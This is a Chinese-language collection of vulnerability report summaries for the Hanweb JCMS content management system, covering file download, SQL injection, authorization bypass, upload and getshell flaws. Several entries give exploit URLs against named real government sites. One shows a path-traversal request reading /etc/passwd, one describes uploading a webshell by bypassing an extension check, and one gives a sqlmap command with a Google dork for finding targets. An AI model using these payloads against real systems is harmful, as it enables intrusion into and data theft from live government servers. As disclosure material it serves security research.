大汉网络JCMS任意文件下载

简要描述： 大汉网络文件遍历 详细说明： 漏洞Url： /jcms/m5e/module/voting/down.jsp?filename=a.txt&pathfile=/etc/passwd 下载文件： root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin...

大汉网络多个系统高危SQL注入（2个）

简要描述： 大汉网络多个系统高危SQL注入（2个） 详细说明： 经测试，发现jcms xxgk jis lm jbook jphoto jget jearch等系统存在高危SQL注入 漏洞文件为 /workflow/objectbox/selxgroupuserlist.jsp?groupid=1&changetype=1 /workflow/objectbox/selectxgroupuserlist.jsp?groupid=1&changetype=1 /workflow/objectbox/selectxgrouplist.jsp?groupid=1&changetype=1...

Hanweb-jcms /jcms/workflow/objectbox/selectx_list.jsp SQL注入漏洞

No description provided by source...

Hanweb-jcms /jcms/m_5_e/module/idea/opr_import_discussion.jsp 文件上传漏洞

No description provided by source...

大汉网络Jcms二次上传Getshell

简要描述： 大汉网络Jcms二次上传Getshell. 详细说明： 这段程序漏洞的逻辑比较复杂， 下面代码分析：jcms/m5e/module/oprupdatemodule.jsp ... ... //上传文件 CommonUploadFile upload = new CommonUploadFile strTemp ,null; upload.uploadFilerequest; String strFileName = upload.getAllFileName; quehiddenvalue = upload.getFormValue"quehiddenvalue";...

hanweb jcms /selectx_search.jsp SQL注入漏洞

No description provided by source...

JCMS /jcms/jcms_files/jcms1/web1/site/module/comment/opr_readfile.jsp 任意文件下载漏洞

No description provided by source...

JCMS 2.4.10 /module/sitesearch/index.jsp SQL注入漏洞

No description provided by source...

JCMS /opr_domsg.jsp SQL注入漏洞

No description provided by source...

大汉网络 JCMS 2.1.9 /vc/vc/columncount/tem/downfile.jsp 任意文件下载漏洞

No description provided by source...

弱口令突破后台管理端 绕过客户端限制直接getshell

简要描述： jcms的漏洞比较多，做代码审计时发现了很多，先爆一个。 详细说明： 这里是某政府信息公开后台管理系统，地址为：http://xxgk.yuanan.gov.cn/gov/setup/index.html 没有做任何的防暴力破解的措施，这是破解出后台的弱口令 成功登录后台，见到license上传界面 将webshell后缀更改为licence，使用拦截工具绕过客户端校验 将licence后缀替换为jspx。 之前的jcms版本没有对文件后缀做任何限制，2010版jcms在代码中增加了黑名单校验。这里可以使用jspx文件来绕过。 getshell，见图： 漏洞证明：...

JCMS /setup/opr_updatenewmenu.jsp 登录绕过漏洞

No description provided by source...

大汉JCMS系统SQL注入漏洞

简要描述： 详细说明： 缺陷：module/sitesearch/index.jsp 注入参数columnid 漏洞证明： 案例测试： 测试A： mask 区域 1.http://.. /module/sitesearch/index.jsp?columnid=0,-11,5086,5087,5088,5089,5090,5104,5105,5106,5107,5091,5108,5109,5110,5111,5092,5120,5121,5122,5123,5093,5094,5095,5117,5118,5119,5096,5097,5098,5099,5100 测试B： mask ...

JCMS 2010 file download vulnerability

No description provided by source. Title: JCMS 2010 File Download Vulnerability Date: 2010-11-22 Author: Beach Team: http://www.linux520.com/ Vendor: http://www.hanweb.com/ Language:Java Greetz: Brother Description: In /module/download/downfile.jsp ,filename and pathfile didn't verify user's inpu...

大汉版通JCMS内容管理系统SQL注入漏洞

简要描述： SQL注入 详细说明： 大汉版通JCMS内容管理系统网站群访问统计功能存在SQL注入漏洞 漏洞证明： http://www.gzlps.gov.cn/vc/vc/interface/index/quescount.jsp?webid=1 其他一些案列： http://www.jinhua.gov.cn/vc/vc/interface/index/quescount.jsp?webid=1 http://www.zaozhuang.gov.cn/vc/vc/interface/index/quescount.jsp?webid=1...

大汉版通JCMS两处越权+两处SQL注入

简要描述： 合集吗 详细说明： 第一个： /jcms/workflow/design/quemodel.jsp 第二个： /jcms/shortmessage/querecemsg.jsp 两处在一些版本里面都有越权+SQL注入。 http://www.panxian.gov.cn/jcms/workflow/design/quemodel.jsp?userid= http://www.changde.gov.cn/jcms/workflow/design/quemodel.jsp?userid=...

JCMS /usr/lib/lua/luci/controller/api/system.lua 任意文件下载漏洞

JCMS在代码/usr/lib/lua/luci/controller/api/system.lua中直接从url中获取filename参数，并直接下载，最终导致任意文件下载漏洞。 JCMS...

大汉版通JCMS某处越权+任意文件文件上传漏洞（反删除）

简要描述： 有删除文件的操作，可“反”之。 详细说明： 漏洞点： jcms/m57/replace/oprimportinfo.jsp 部分系统还存在越权。fnbillstatus为1时可以直接访问该页面无需验证： http://www.shanting.gov.cn/jcms/m57/replace/oprimportinfo.jsp?fnbillstatus=1 http://tuoshan.yzwh.gov.cn/jcms/m57/replace/oprimportinfo.jsp?fnbillstatus=1 漏洞证明： 扯下代码 // 基本变量初始化 String...

大汉网络JCMS Getshell

简要描述： 大汉网络JCMS Getshell，综合利用。 详细说明： 通过之前的任意文件下载等漏洞能够拿到管理员密码： 登录初始化管理平台： 在上传许可的地方，只在本地做了后缀明判断： 绕过本地js后缀限制，上传shell： 漏洞证明： oprlicenceinfo.jsp 代码分析： //上传文件 ifstrBillStatus.equals"U" //文件路径，上传目录为系统根目录 String strDictionary = application.getRealPath"" +"/"; java.io.File file = new java.io.File...

大汉网络网站群一处dba式sqL注入

简要描述： 你猜 详细说明： site:gov.cn module/rss 找到约 1,360,000 条结果 （用时 0.25 秒） 大汉网络网站集群的一个订阅功能dba注射，可衍射出其多款产品数据库 找了谷歌前几页的gov网站，命中率还不错 漏洞证明： site:gov.cn module/rss sqlmap.py -u "http://www.yuanan.gov.cn/module/rss/rssfeed.jsp?colid=23" --random-agent --current-user --current-db --dbms oracle --is dba --dbs...